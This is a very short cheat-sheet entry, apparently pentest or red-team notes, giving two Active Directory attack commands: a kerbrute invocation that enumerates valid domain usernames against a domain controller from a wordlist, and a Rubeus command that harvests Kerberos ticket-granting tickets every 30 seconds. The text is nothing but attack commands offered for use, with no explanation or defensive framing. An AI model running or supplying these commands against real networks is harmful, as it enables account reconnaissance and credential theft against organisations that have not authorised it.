List users: kerbrute userenum --dc domaincontroller.local -d domain.local user-wordlist.txt Harvest TGT on KDC: rubeus.exe harvest /interval:30